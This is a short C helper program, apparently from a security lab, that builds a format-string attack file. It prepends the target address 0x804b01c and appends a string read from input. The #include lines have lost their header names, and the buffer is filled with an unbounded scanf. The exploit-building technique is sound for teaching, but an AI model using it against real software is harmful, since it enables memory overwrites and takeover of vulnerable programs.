/* write_string.c */ #include #include #include #include #include int main() { char buf[1000]; int fp, size; unsigned int *address; /* Putting any number you like at the beginning of the format string */ address = (unsigned int *) buf; *address = 0x804b01c; /* Getting the rest of the format string */ scanf("%s", buf+4); size = strlen(buf+4) + 4; printf("The string length is %d\n", size); /* Writing buf to "mystring" */ fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR); if (fp != -1) { write(fp, buf, size); close(fp); } else { printf("Open failed!\n"); } }